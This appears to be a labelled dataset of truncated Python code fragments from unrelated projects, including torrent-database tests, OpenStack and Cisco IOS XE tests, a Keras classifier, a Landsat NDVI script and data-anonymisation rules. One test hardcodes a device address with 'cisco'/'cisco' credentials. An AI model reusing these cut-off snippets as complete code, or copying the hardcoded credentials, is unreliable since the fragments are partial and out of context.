3}) self.assertTrue(self.tdb.getTorrentID(infohash)) def test_add_external_torrent_no_def_invalid(self): infohash = unhexlify('50865489ac16e2f34ea0cd3043cfd970cc24ec09') self.tdb.addExternalTorrentNoDef(infohash, ""test torrent"", [(""file1"", {}), (""file2"", 43)], [], 1234) self.assertFalse(self.tdb.getTorrentID(infohash)) def test_add_get_torrent_id(self): infohash = str2bin('AA8cTG7ZuPsyblbRE7CyxsrKUCg=') self.assertEqual(self.tdb.addOrGetTorrentID(infohash), 1) new_infohash = unhexlify('50865489ac16e2f34ea0cd3043cfd970cc24ec09') self.assertEqual(self.tdb.addOrGetTorrentID(new_infohash), 4859) def test_add_get_torrent_ids_return(self): infohash = str2bin('AA8cTG7ZuPsyblbRE7CyxsrKUCg=') new_infohash = unhexlify('50865489ac16e2f34ea0cd3043cfd970cc24ec09') tids, inserted = self.tdb.addOrGetTorrentIDSReturn([infohash, new_infohash]) self.assertEqual(tids, [1, 4859]) self.assertEqual(len(inserted), 1) def test_index_torrent_existing(self): self.tdb._indexTorrent(1, ""test"", []) def test_getCollectedTorrentHashes(self): res = self.tdb.getNumberCollectedTorrents() self.assertEqual(res, 4847) def test_freeSpace(self): # Manually set the torrent store because register is not called. self.session.lm.torrent_store = LevelDbStore(self.session.config.get_torrent_store_dir()) old_res = self.tdb.getNumberCollectedTorrents() self.tdb.freeSpace(20) res = self.tdb.getNumberCollectedTorrents() self.session.lm.torrent_store.close() self.assertEqual(res, old_res-20) def test_get_search_suggestions(self): self.assertEqual(self.tdb.getSearchSuggestion([""content"", ""cont""]), [""content 1""]) def test_get_autocomplete_terms(self): self.assertEqual(len(self.tdb.getAutoCompleteTerms(""content"", 100)), 0) def test_get_recently_randomly_collected_torrents(self): self.assertEqual(len(self.tdb.getRecentlyCollectedTorrents(limit=10)), 10) self.assertEqual(len(self.tdb.getRandomlyCollectedTorrents(100000000, limit=10)), 3) def test_get_recently_checked_torrents(self): self.assertEqual(len(self.tdb.getRecentlyCheckedTorrents(limit=5)), 5) def test_select_torrents_to_collect(self): infohash = str2bin('AA8cTG7ZuPsyblbRE7CyxsrKUCg=') self.assertEqual(len(self.tdb.select_torrents_to_collect(infohash)), 0) def test_get_torrents_stats(self): self.assertEqual(self.tdb.getTorrentsStats(), (4847, 6519179841442, 187195)) def test_get_library_torrents(self): self.assertEqual(len(self.tdb.getLibraryTorrents(['infohash'])), 12) def test_search_names_no_sort(self): """""" Test whether the right amount of torrents are returned when searching for torrents in db """""" columns = ['T.torrent_id', 'infohash', 'status', 'num_seeders'] self.tdb.channelcast_db = ChannelCastDBHandler(self.session) self.assertEqual(len(self.tdb.searchNames(['content'], keys=columns, doSort=False)), 4849) self.assertEqual(len(self.tdb.searchNames(['content', '1'], keys=columns, doSort=False)), 1) def test_search_names_sort(self): """""" Test whether the right amount of sorted torrents are returned when searching for torrents in db """""" columns = ['T.torrent_id', 'infohash', 'status', 'num_seeders'] self.tdb.channelcast_db = ChannelCastDBHandler(self.session) results = self.tdb.searchNames(['content'], keys=columns) self.assertEqual(len(results), 4849) self.assertEqual(results[0][3], 493785) def test_search_local_torrents(self): """""" Test the search procedure in the local database when searching for torrents """""" results = self.tdb.search_in_local_torrents_db('content', ['infohash', 'num_seeders']) self.assertEqual(len(results), 4849) self.assertNotEqual(results[0][-1], 0.0) # Relevance score of result should not be zero results = self.tdb.search_in_local_torrents_db('fdsafasfds', ['infohash']) self.assertEqual(len(results), 0) def test_rel_score_remote_torrent(self): self.tdb.latest_matchinfo_torrent = struct.pack(""I"" * 12, *([1] * 12)), ""torrent"" self.assertNotEqual(self.tdb.relevance_score_remote_torrent(""my-torrent.iso""), 0.0) ",1 "a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from openstack.tests.unit import base from openstack.orchestration.v1 import resource FAKE_ID = '32e39358-2422-4ad0-a1b5-dd60696bf564' FAKE_NAME = 'test_stack' FAKE = { 'links': [{ 'href': 'http://res_link', 'rel': 'self' }, { 'href': 'http://stack_link', 'rel': 'stack' }], 'logical_resource_id': 'the_resource', 'name': 'the_resource', 'physical_resource_id': '9f38ab5a-37c8-4e40-9702-ce27fc5f6954', 'required_by': [], 'resource_type': 'OS::Heat::FakeResource', 'status': 'CREATE_COMPLETE', 'status_reason': 'state changed', 'updated_time': '2015-03-09T12:15:57.233772', } class TestResource(base.TestCase): def test_basic(self): sot = resource.Resource() self.assertEqual('resource', sot.resource_key) self.assertEqual('resources', sot.resources_key) self.assertEqual('/stacks/%(stack_name)s/%(stack_id)s/resources', sot.base_path) self.assertFalse(sot.allow_create) self.assertFalse(sot.allow_retrieve) self.assertFalse(sot.allow_commit) self.assertFalse(sot.allow_delete) self.assertTrue(sot.allow_list) def test_make_it(self): sot = resource.Resource(**FAKE) self.assertEqual(FAKE['links'], sot.links) self.assertEqual(FAKE['logical_resource_id'], sot.logical_resource_id) self.assertEqual(FAKE['name'], sot.name) self.assertEqual(FAKE['physical_resource_id'], sot.physical_resource_id) self.assertEqual(FAKE['required_by'], sot.required_by) self.assertEqual(FAKE['resource_type'], sot.resource_type) self.assertEqual(FAKE['status'], sot.status) self.assertEqual(FAKE['status_reason'], sot.status_reason) self.assertEqual(FAKE['updated_time'], sot.updated_at) ",1 "import ZopeTransactionExtension import tornado.web from handlers.index import IndexHandler from handlers.sensors import SensorsHandler import logging logging.getLogger().setLevel(logging.DEBUG) app = tornado.web.Application([ (r'/', IndexHandler), (r'/sensors', SensorsHandler) ]) DBSession = scoped_session(sessionmaker(extension=ZopeTransactionExtension())) Base = declarative_base() ",1 "vation, Dense, LSTM from keras.optimizers import Adam, SGD import numpy as np import abc from ClassificationModule import ClassificationModule class descriptionreponamelstm(ClassificationModule): """"""A basic lstm neural network"""""" def __init__(self, num_hidden_layers=3): ClassificationModule.__init__(self, ""Description and reponame LSTM"", ""A LSTM reading the description and reponame character by character"") hidden_size = 300 self.maxlen = 300 # Set output_size self.output_size = 7 # Hardcoded for 7 classes model = Sequential() # Maximum of self.maxlen charcters allowed, each in one-hot-encoded array model.add(LSTM(hidden_size, input_shape=(self.maxlen, getLstmCharLength()))) for _ in range(num_hidden_layers): model.add(Dense(hidden_size)) model.add(Dense(self.output_size)) model.add(Activation('softmax')) model.compile(loss='categorical_crossentropy', optimizer=SGD(), metrics=['accuracy']) self.model = model print ""\t-"", self.name def resetAllTraining(self): """"""Reset classification module to status before training"""""" resetWeights(self.model) def trainOnSample(self, sample, nb_epoch=1, shuffle=True, verbose=True): """"""Trainiere (inkrementell) mit Sample. Evtl zusätzlich mit best. Menge alter Daten, damit overfitten auf neue Daten verhindert wird."""""" readme_vec = self.formatInputData(sample) label_index = getLabelIndex(sample) label_one_hot = np.expand_dims(oneHot(label_index), axis=0) # [1, 0, 0, ..] -> [[1, 0, 0, ..]] Necessary for keras self.model.fit(readme_vec, label_one_hot, nb_epoch=nb_epoch, shuffle=shuffle, verbose=verbose) def train(self, samples, nb_epoch=200, shuffle=True, verbose=True): """"""Trainiere mit Liste von Daten. Evtl weitere Paramter nötig (nb_epoch, learning_rate, ...)"""""" train_samples = [] train_lables = [] for sample in samples: formatted_sample = self.formatInputData(sample)[0].tolist() train_samples.append(formatted_sample) train_lables.append(oneHot(getLabelIndex(sample))) train_lables = np.asarray(train_lables) train_result = self.model.fit(train_samples, train_lables, nb_epoch=nb_epoch, shuffle=shuffle, verbose=verbose, class_weight=getClassWeights()) self.isTrained = True return train_result def predictLabel(self, sample): """"""Gibt zurück, wie der Klassifikator ein gegebenes Sample klassifizieren würde"""""" if not self.isTrained: return 0 sample = self.formatInputData(sample) return np.argmax(self.model.predict(sample)) def predictLabelAndProbability(self, sample): """"""Return the probability the module assignes each label"""""" if not self.isTrained: return [0, 0, 0, 0, 0, 0, 0, 0] sample = self.formatInputData(sample) prediction = self.model.predict(sample)[0] return [np.argmax(prediction)] + list(prediction) # [0] So 1-D array is returned def formatInputData(self, sample): """"""Extract description and transform to vector"""""" sd = getDescription(sample) sd += getName(sample) # Returns numpy array which contains 1 array with features return np.expand_dims(lstmEncode(sd, maxlen=self.maxlen), axis=0) ",1 "import AuthError node = '172.16.92.134' username = 'cisco' password = 'cisco' port = 55443 class TestIOSXE(unittest.TestCase): def setUp(self): self.xe = IOSXE(node=node, username=username, password=password, disable_warnings=True) def test_iosxe_is_a_IOSXE(self): self.assertIsInstance(self.xe, IOSXE) def test_invalid_user_pass_returns_auth_error(self): self.assertRaises(AuthError, IOSXE, node=node, username='stuff', password='things', disable_warnings=True) def test_url_base(self): self.assertEqual(self.xe.url_base, 'https://{0}:{1}/api/v1'.format(node, port)) def test_token_uri(self): self.assertEqual(self.xe.token_uri, '/auth/token-services') def test_save_config_success(self): resp = self.xe.save_config() self.assertEqual(204, resp.status_code) ",1 "residue # from Miller et al. 1987, JMB 196: 641-656 total_asa = { 'A': 113.0, 'R': 241.0, 'N': 158.0, 'D': 151.0, 'C': 140.0, 'Q': 189.0, 'E': 183.0, 'G': 85.0, 'H': 194.0, 'I': 182.0, 'L': 180.0, 'K': 211.0, 'M': 204.0, 'F': 218.0, 'P': 143.0, 'S': 122.0, 'T': 146.0, 'W': 259.0, 'Y': 229.0, 'V': 160.0, } @classmethod def is_surface(cls, resn, asa, total_asa=None, cutoff=0.1): """"""Return True if ratio of residue ASA to max ASA >= cutoff"""""" if total_asa is None: total_asa = cls.total_asa resn = resn.upper() if len(resn) == 3: resn = cls.three_to_one[resn] return float(asa) / total_asa[resn] >= cutoff three_to_full = { 'Val': 'Valine', 'Ile': 'Isoleucine', 'Leu': 'Leucine', 'Glu': 'Glutamic acid', 'Gln': 'Glutamine', 'Asp': 'Aspartic acid', 'Asn': 'Asparagine', 'His': 'Histidine', 'Trp': 'Tryptophan', 'Phe': 'Phenylalanine', 'Tyr': 'Tyrosine', 'Arg': 'Arginine', 'Lys': 'Lysine', 'Ser': 'Serine', 'Thr': 'Threonine', 'Met': 'Methionine', 'Ala': 'Alanine', 'Gly': 'Glycine', 'Pro': 'Proline', 'Cys': 'Cysteine'} three_to_one = { 'VAL': 'V', 'ILE': 'I', 'LEU': 'L', 'GLU': 'E', 'GLN': 'Q', 'ASP': 'D', 'ASN': 'N', 'HIS': 'H', 'TRP': 'W', 'PHE': 'F', 'TYR': 'Y', 'ARG': 'R', 'LYS': 'K', 'SER': 'S', 'THR': 'T', 'MET': 'M', 'ALA': 'A', 'GLY': 'G', 'PRO': 'P', 'CYS': 'C'} one_to_three = {o: t for t, o in three_to_one.iteritems()} @classproperty def one_to_full(cls): """""" This can't see three_to_full unless explicitly passed because dict comprehensions create their own local scope """""" return {o: cls.three_to_full[t.title()] for t, o in cls.three_to_one.iteritems()} res_atom_list = dict( ALA=['C', 'CA', 'CB', 'N', 'O'], ARG=['C', 'CA', 'CB', 'CD', 'CG', 'CZ', 'N', 'NE', 'NH1', 'NH2', 'O'], ASN=['C', 'CA', 'CB', 'CG', 'N', 'ND2', 'O', 'OD1'], ASP=['C', 'CA', 'CB', 'CG', 'N', 'O', 'OD1', 'OD2'], CYS=['C', 'CA', 'CB', 'N', 'O', 'SG'], GLN=['C', 'CA', 'CB', 'CD', 'CG', 'N', 'NE2', 'O', 'OE1'], GLU=['C', 'CA', 'CB', 'CD', 'CG', 'N', 'O', 'OE1', 'OE2'], GLY=['C', 'CA', 'N', 'O'], HIS=['C', 'CA', 'CB', 'CD2', 'CE1', 'CG', 'N', 'ND1', 'NE2', 'O'], ILE=['C', 'CA', 'CB', 'CD1', 'CG1', 'CG2', 'N', 'O'], LEU=['C', 'CA', 'CB', 'CD1', 'CD2', 'CG', 'N', 'O'], LYS=['C', 'CA', 'CB', 'CD', 'CE', 'CG', 'N', 'NZ', 'O'], MET=['C', 'CA', 'CB', 'CE', 'CG', 'N', 'O', 'SD'], PHE=['C', 'CA', 'CB', 'CD1', 'CD2', 'CE1', 'CE2', 'CG', 'CZ', 'N', 'O'], PRO=['C', 'CA', 'CB', 'CD', 'CG', 'N', 'O'], SER=['C', 'CA', 'CB', 'N', 'O', 'OG'], THR=['C', 'CA', 'CB', 'CG2', 'N', 'O', 'OG1'], TRP=['C', 'CA', 'CB', 'CD1', 'CD2', 'CE2', 'CE3', 'CG', 'CH2', 'CZ2', 'CZ3', 'N', 'NE1', 'O'], TYR=['C', 'CA', 'CB', 'CD1', 'CD2', 'CE1', 'CE2', 'CG', 'CZ', 'N', 'O', 'OH'], VAL=['C', 'CA', 'CB', 'CG1', 'CG2', 'N', 'O'], ) all_chi = dict( chi1=dict( ARG=['N', 'CA', 'CB', 'CG'], ASN=['N', 'CA', 'CB', 'CG'], ASP=['N', 'CA', 'CB', 'CG'], CYS=['N', 'CA', 'CB', 'SG'], GLN=['N', 'CA', 'CB', 'CG'], GLU=['N', 'CA', 'CB', 'CG'], HIS=['N', 'CA', 'CB', 'CG'], ILE=['N', 'CA', 'CB', 'CG1'], LEU=['N', 'CA', 'CB', 'CG'], LYS=['N', 'CA', 'CB', 'CG'], MET=['N', 'CA', 'CB', 'CG'], PHE=['N', 'CA', 'CB', 'CG'], PRO=['N', 'CA', 'CB', 'CG'], SER=['N', 'CA', 'CB', 'OG'], THR=['N', 'CA', 'CB', 'OG1'], TRP=['N', 'CA', 'CB', 'CG'], TYR=['N', 'CA', 'CB', 'CG'], VAL=['N', 'CA', 'CB', 'CG1'], ), chi2=dict( ARG=['CA', 'CB', 'CG', 'CD'], ASN=['CA', 'CB', 'CG', 'OD1'], ASP=['CA', 'CB', 'CG', 'OD1'], GLN=['CA', 'CB', 'CG', 'CD'], GLU=['CA', 'CB', 'CG', 'CD'], HIS=['CA', 'CB', 'CG', 'ND1'], ILE=['CA', 'CB', 'CG1', 'CD1'], LEU=['CA', 'CB', 'CG', 'CD1'], LYS=['CA', 'CB', 'CG', 'CD'], MET=['CA', 'CB', 'CG', 'SD'], PHE=['CA', 'CB', 'CG', 'CD1'], PRO=['CA', 'CB', 'CG', 'CD'], TRP=['CA', 'CB', 'CG', 'CD1'], TYR=['CA', 'CB', 'CG', 'CD1'], ), chi3=dict( ARG=['CB', 'CG', 'CD', 'NE'], GLN=['CB', 'CG', 'CD', 'OE1'], GLU=['CB', 'CG', 'CD', 'OE1'], LYS=['CB', 'CG', 'CD', 'CE'], MET=['CB', 'CG', 'SD', 'CE'], ), chi4=dict( ARG=['CG', 'CD', 'NE', 'CZ'], LYS=['CG', 'CD', 'CE', 'NZ'], ), chi5=dict( ARG=['CD', 'NE', 'CZ', 'NH1'], ), ) alt_chi = dict( chi1=dict( VAL=['N', 'CA', 'CB', 'CG2'], ), chi2=dict( ASP=['CA', 'CB', 'CG', 'OD2'], LEU=['CA', 'CB', 'CG', 'CD2'], PHE=['CA', 'CB', 'CG', 'CD2'], TYR=['CA', 'CB', 'CG', 'CD2'], ), ) chi_atoms = dict( ARG=set(['CB', 'CA', 'CG', 'NE', 'N', 'CZ', 'NH1', 'CD']), ASN=set(['CB', 'CA', 'N', 'CG', 'OD1']), ASP=set(['CB', 'CA', 'N', 'CG', 'OD1', 'OD2']), CYS=set(['CB', 'CA', 'SG', 'N']), GLN=set(['CB', 'CA', 'CG', 'N', 'CD', 'OE1']), GLU=set(['CB', 'CA', 'CG', 'N', 'CD', 'OE1']), HIS=set(['ND1', 'CB', 'CA', 'CG', 'N']), ILE=set(['CG1', 'CB', 'CA', 'CD1', 'N']), LEU=set(['CB', 'CA', 'CG', 'CD1', 'CD2', 'N']), LYS=set(['CB', 'CA', 'CG', 'CE', 'N', 'NZ', 'CD']), MET=set(['CB', 'CA', 'CG', 'CE', 'N', 'SD']), PHE=set(['CB', 'CA', 'CG', 'CD1', 'CD2', 'N']), PRO=set(['CB', 'CA', 'N', 'CG', 'CD']), SER=set(['OG', 'CB', 'CA', 'N']), THR=set(['CB', 'CA', 'OG1', 'N']), TRP=set(['CB', 'CA', 'CG', 'CD1', 'N']), TYR=set(['CB', 'CA', 'CG', 'CD1', 'CD2', 'N']), VAL=set(['CG1', 'CG2', 'CB', 'CA', 'N']), ) ",1 " app = request.args[0] path = apath(app, r=request) uio = ui.ui() uio.quiet = True if not os.environ.get('HGUSER') and not uio.config(""ui"", ""username""): os.environ['HGUSER'] = 'web2py@localhost' try: r = hg.repository(ui=uio, path=path) except: r = hg.repository(ui=uio, path=path, create=True) hgignore = os.path.join(path, '.hgignore') if not os.path.exists(hgignore): open(hgignore, 'w').write(_hgignore_content) form = FORM('Comment:',INPUT(_name='comment',requires=IS_NOT_EMPTY()), INPUT(_type='submit',_value='Commit')) if form.accepts(request.vars,session): oldid = r[r.lookup('.')] cmdutil.addremove(r) r.commit(text=form.vars.comment) if r[r.lookup('.')] == oldid: response.flash = 'no changes' files = r[r.lookup('.')].files() return dict(form=form,files=TABLE(*[TR(file) for file in files]),repo=r) ",1 "com/developmentseed/landsat-util # Uses Amazon Web Services Public Dataset (Lansat 8) # Script should be run every day from os.path import join, abspath, dirname, exists import os import errno import shutil from tempfile import mkdtemp import subprocess import urllib2 import logging import sys import datetime import re from landsat.search import Search from landsat.ndvi import NDVIWithManualColorMap # Enable logging logging.basicConfig(stream=sys.stderr, level=logging.DEBUG) # Get current date current_date = datetime.datetime.now().date() print 'Current date is:', current_date # Let`s subtract 1 day from current date sub_date = current_date - datetime.timedelta(days=1) print 'Subtract date is:', sub_date # Scene search by date and WRS-2 row and path search = Search() try: search_results = search.search(paths_rows='177,025', start_date=sub_date, end_date=current_date) search_string = str(search_results.get('results')) search_list = re.compile('\w+').findall(search_string) scene_id = str(search_list.pop(5)) print scene_id l = len(scene_id) print l #exit if we have no current image except Exception: raise SystemExit('Closing...') # String concat for building Red Band URL for download url_red = 'http://landsat-pds.s3.amazonaws.com/L8/177/025/' + scene_id + '/' + scene_id + '_B4.TIF' # String concat for building NIR Band URL for download url_nir = 'http://landsat-pds.s3.amazonaws.com/L8/177/025/' + scene_id + '/' + scene_id + '_B5.TIF' # Build filenames for band rasters and output NDVI file red_file = scene_id + '_B4.TIF' nir_file = scene_id + '_B5.TIF' ndvi_file = scene_id + '_NDVI.TIF' print 'Filenames builded succsessfuly' # Create directories for future pssing base_dir = os.getcwd() temp_folder = join(base_dir, ""temp_folder"") scene_folder = join(temp_folder, scene_id) if not os.path.exists(temp_folder): os.makedirs(temp_folder) if not os.path.exists(scene_folder): os.makedirs(scene_folder) # Download section for Band 4 using urllib2 file_name = url_red.split('/')[-1] u = urllib2.urlopen(url_red) f = open(""temp_folder/""+scene_id+""/""+file_name, 'wb') meta = u.info() file_size = int(meta.getheaders(""Content-Length"")[0]) print ""Downloading: %s Bytes: %s"" % (file_name, file_size) file_size_dl = 0 block_sz = 8192 while True: buffer = u.read(block_sz) if not buffer: break file_size_dl += len(buffer) f.write(buffer) status = r""%10d [%3.2f%%]"" % (file_size_dl, file_size_dl * 100. / file_size) status = status + chr(8)*(len(status)+1) print status, f.close() # Download section for Band 5 using urllib2 file_name = url_nir.split('/')[-1] u = urllib2.urlopen(url_nir) f = open(""temp_folder/""+scene_id+""/""+file_name, 'wb') meta = u.info() file_size = int(meta.getheaders(""Content-Length"")[0]) print ""Downloading: %s Bytes: %s"" % (file_name, file_size) file_size_dl = 0 block_sz = 8192 while True: buffer = u.read(block_sz) if not buffer: break file_size_dl += len(buffer) f.write(buffer) status = r""%10d [%3.2f%%]"" % (file_size_dl, file_size_dl * 100. / file_size) status = status + chr(8)*(len(status)+1) print status, f.close() # NDVI processing # Lets create new instance of class nd = NDVIWithManualColorMap(path=temp_folder+""/""+scene_id, dst_path=temp_folder) # Start process print nd.run() # Create virtual dataset for deviding tiff into tiles subprocess.call([""gdalbuildvrt"", ""-a_srs"", ""EPSG:3857"", ""NDVImap.vrt"", ""temp_folder/""+scene_id+""/""+ndvi_file]) # Remove old tiles shutil.rmtree(""ndvi_tiles"", ignore_errors=True) # Start process of deviding with virtual dataset subprocess.call([""./gdal2tilesp.py"", ""-w"", ""none"", ""-s EPSG:3857"", ""-p"", ""mercator"", ""-z 8-12"", ""--format=PNG"", ""--processes=4"", ""-o"", ""tms"", ""NDVImap.vrt"", ""ndvi_tiles""]) # Let`s clean temporary files (bands, ndvi, vrt) shutil.rmtree(""temp_folder"", ignore_errors=True) os.remove(""NDVImap.vrt"") print 'All temporary data was succsessfully removed' # Close script raise SystemExit('Closing...') ",1 ".11/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.conf.urls import url, include 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) """""" from django.conf.urls import url, include from django.contrib import admin from schmankerlapp import views from django.contrib.auth import views as auth_views from django.conf.urls.static import static from django.conf import settings urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^$', views.home, name='home'), #restaurant url(r'^restaurant/sign-in/$', auth_views.login, {'template_name': 'restaurant/sign-in.html'}, name = 'restaurant-sign-in'), url(r'^restaurant/sign-out', auth_views.logout, {'next_page': '/'}, name='restaurant-sign-out'), url(r'^restaurant/sign-up', views.restaurant_sign_up, name='restaurant-sign-up'), url(r'^restaurant/$', views.restaurant_home, name='restaurant-home'), url(r'^restaurant/account/$', views.restaurant_account, name='restaurant-account'), url(r'^restaurant/meal/$', views.restaurant_meal, name='restaurant-meal'), url(r'^restaurant/meal/add$', views.restaurant_add_meal, name='restaurant-add-meal'), url(r'^restaurant/order/$', views.restaurant_order, name='restaurant-order'), url(r'^restaurant/report/$', views.restaurant_report, name='restaurant-report'), #sign-up, sign-in, sign-out url(r'^api/social/', include('rest_framework_social_oauth2.urls')), # /convert-token (sign-in, sign-out) # /revoke-token (sign-out) ] + static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT) ",1 " auth = current.auth s3db = current.s3db ANONYMOUS = ""-"" # Standard anonymizers from s3db.pr import pr_address_anonymise as anonymous_address, \ pr_person_obscure_dob as obscure_dob # Helper to produce an anonymous ID (pe_label) anonymous_id = lambda record_id, f, v: ""NN%s"" % uuid4().hex[-8:].upper() anonymous_code = lambda record_id, f, v: uuid4().hex # Case Activity Default Closure activity_closed = s3db.br_case_activity_default_status(closing=True) # General rule for attachments documents = (""doc_document"", { ""key"": ""doc_id"", ""match"": ""doc_id"", ""fields"": {""name"": (""set"", ANONYMOUS), ""file"": ""remove"", ""url"": ""remove"", ""comments"": ""remove"", }, ""delete"": True, }) # Rule for direct offers (from the offerer perspective) direct_offers = (""br_direct_offer"", { ""key"": ""offer_id"", ""match"": ""id"", ""delete"": True, }) # Rules for user accounts account = (""auth_user"", { ""key"": ""id"", ""match"": ""user_id"", ""fields"": {""id"": auth.s3_anonymise_roles, ""first_name"": (""set"", ""-""), ""last_name"": ""remove"", ""email"": anonymous_code, ""organisation_id"": ""remove"", ""password"": auth.s3_anonymise_password, ""deleted"": (""set"", True), }, }) # Rules rules = [ # Rules to remove PID from person record and case file {""name"": ""default"", ""title"": ""Names, IDs, Reference Numbers, Contact Information, Addresses"", ""fields"": {""first_name"": (""set"", ANONYMOUS), ""last_name"": (""set"", ANONYMOUS), ""pe_label"": anonymous_id, ""date_of_birth"": obscure_dob, ""comments"": ""remove"", }, ""cascade"": [(""br_case"", { ""key"": ""person_id"", ""match"": ""id"", ""fields"": {""comments"": ""remove"", }, ""cascade"": [documents, ], }), (""pr_contact"", { ""key"": ""pe_id"", ""match"": ""pe_id"", ""fields"": {""contact_description"": ""remove"", ""value"": (""set"", """"), ""comments"": ""remove"", }, ""delete"": True, }), (""pr_contact_emergency"", { ""key"": ""pe_id"", ""match"": ""pe_id"", ""fields"": {""name"": (""set"", ANONYMOUS), ""relationship"": ""remove"", ""phone"": ""remove"", ""comments"": ""remove"", }, ""delete"": True, }), (""pr_address"", { ""key"": ""pe_id"", ""match"": ""pe_id"", ""fields"": {""location_id"": anonymous_address, ""comments"": ""remove"", }, }), (""pr_person_details"", { ""key"": ""person_id"", ""match"": ""id"", ""fields"": {""education"": ""remove"", ""occupation"": ""remove"", }, }), (""pr_image"", { ""key"": ""pe_id"", ""match"": ""pe_id"", ""fields"": {""image"": ""remove"", ""url"": ""remove"", ""description"": ""remove"", }, ""delete"": True, }), (""hrm_human_resource"", { ""key"": ""person_id"", ""match"": ""id"", ""fields"": {""status"": (""set"", 2), ""site_id"": ""remove"", ""comments"": ""remove"", }, }), ], }, # Rules to remove PID from activities and offers {""name"": ""activities"", ""title"": ""Needs Reports and Offers of Assistance"", ""cascade"": [(""br_case_activity"", { ""key"": ""person_id"", ""match"": ""id"", ""fields"": {""location_id"": anonymous_address, ""subject"": (""set"", ANONYMOUS), ""need_details"": ""remove"", ""activity_details"": ""remove"", ""outcome"": ""remove"", ""comments"": ""remove"", ""status_id"": (""set"", activity_closed), }, ""cascade"": [documents, ], }), (""br_assistance_offer"", { ""key"": ""pe_id"", ""match"": ""pe_id"", ""fields"": {""name"": (""set"", ANONYMOUS), ""description"": ""remove"", ""capacity"": ""remove"", ""location_id"": anonymous_address, ""contact_name"": ""remove"", ""contact_phone"": ""remove"", ""contact_email"": ""remove"", ""availability"": (""set"", ""RTD""), ""comments"": ""remove"", }, ""cascade"": [direct_offers, ], }), ], }, # Rules to unlink and remove user account {""name"": ""account"", ""title"": ""User Account"", ""cascade"": [(""pr_person_user"", { ""key"": ""pe_id"", ""match"": ""pe_id"", ""cascade"": [account, ], ""delete"": True, }), ], }, ] return rules ",1 " Routines to parse ""flexible"" configuration files for tools like gpaddmirrors, gprecoverseg, gpexpand, etc. Copyright (c) EMC/Greenplum Inc 2011. All Rights Reserved. """""" import sys from gppylib.mainUtils import ExceptionNoStackTraceNeeded from gppylib.gplog import get_default_logger, logging_is_verbose logger = get_default_logger() def caller(): ""Return name of calling function"" if logging_is_verbose(): return sys._getframe(1).f_code.co_name + '()' return '' def canonicalize_address(addr): """""" Encases addresses in [ ] per RFC 2732. Generally used to deal with ':' characters which are also often used as delimiters. Returns the addr string if it doesn't contain any ':' characters. If addr contains ':' and also contains a '[' then the addr string is simply returned under the assumption that it is already escaped as needed. Otherwise return a new string from addr by adding '[' prefix and ']' suffix. Examples -------- >>> canonicalize_address('myhost') 'myhost' >>> canonicalize_address('127.0.0.1') '127.0.0.1' >>> canonicalize_address('::1') '[::1]' >>> canonicalize_address('[::1]') '[::1]' >>> canonicalize_address('2620:0:170:610::13') '[2620:0:170:610::13]' >>> canonicalize_address('[2620:0:170:610::13]') '[2620:0:170:610::13]' @param addr: the address to possibly encase in [ ] @returns: the addresss, encased in [] if necessary """""" if ':' not in addr: return addr if '[' in addr: return addr return '[' + addr + ']' # # line parsing # def consume_to(delimiter, rest): """""" Consume characters from rest string until we encounter the delimiter. Returns (None, after, None) where after are the characters after delimiter or (None, rest, 'does not contain '+delimiter) when delimiter is not encountered. Examples -------- >>> consume_to('=', 'abc=def:ghi') (None, 'def:ghi', None) @param delimiter: the delimiter string @param rest: the string to read such as 'abc:def:ghi' @returns: (None, after, None) tuple such as (None, 'def:ghi', None) """""" p = rest.find(delimiter) if p < 0: return None, rest, 'does not contain '+delimiter return None, rest[p+1:], None def read_to(delimiter, rest): """""" Read characters from rest string until we encounter the delimiter. Separate the string into characters 'before' and 'after' the delimiter. If no delimiter is found, assign entire string to 'before' and None to 'after'. Examples -------- >>> read_to(':', 'abc:def:ghi') ('abc', 'def:ghi', None) >>> read_to(':', 'abc:def') ('abc', 'def', None) >>> read_to(':', 'abc') ('abc', None, None) >>> read_to(':', '') ('', None, None) Note this returns a 3-tuple for compatibility with other routines which use the third element as an error message @param delimiter: the delimiter string @param rest: the string to read such as 'abc:def:ghi' @returns: (before, after, None) tuple such as ('abc', 'def:ghi', None) """""" p = rest.find(delimiter) if p < 0: return rest, None, None return rest[0:p], rest[p+1:], None def read_to_bracketed(delimiter, rest): """""" Read characters from rest string which is expected to start with a '['. If rest does not start with '[', return a tuple (None, rest, 'does not begin with ['). If rest string starts with a '[', then read until we find ']'. If no ']' is found, return a tuple (None, rest, 'does not contain ending ]'). Otherwise separate the string into 'before' representing characters between '[' and ']' and 'after' representing characters after the ']' and then check that the first character found after the ']' is a :'. If there are no characters after the ']', return a tuple (before, None, None) where before contains the characters between '[' and ']'. If there are characters after ']' other than the delimiter, return a tuple (None, rest, 'characters not allowed after ending ]') Otherwise return a tuple (before, after, None) where before contains the characters between '[' and ']' and after contains the characters after the ']:'. This function avoids raising Exceptions for these particular cases of malformed input since they are easier to report in the calling function. Examples -------- >>> read_to_bracketed(':', '[abc:def]') ('abc:def', None, None) >>> read_to_bracketed(':', '[abc]:def:ghi') ('abc', 'def:ghi', None) >>> read_to_bracketed(':', '[abc:def]:ghi:jkl') ('abc:def', 'ghi:jkl', None) >>> read_to_bracketed(':', 'abc:def:ghi:jkl') (None, 'abc:def:ghi:jkl', 'does not begin with [') >>> read_to_bracketed(':', '[abc:def:ghi:jkl') (None, '[abc:def:ghi:jkl', 'does not contain ending ]') >>> read_to_bracketed(':', '[abc]extra:def:ghi:jkl') (None, '[abc]extra:def:ghi:jkl', 'characters not allowed after ending ]') @param delimiter: the delimiter string @param rest: the string to read such as '[abc:def]:ghi' @returns: (before, after, reason) tuple such as ('abc:def', 'ghi', None) """""" if not rest.startswith('['): return None, rest, 'does not begin with [' p = rest.find(']') if p < 0: return None, rest, 'does not contain ending ]' if len(rest[p+1:]) < 1: return rest[1:p], None, None if rest[p+1] != delimiter: return None, rest, 'characters not allowed after ending ]' return rest[1:p], rest[p+2:], None def 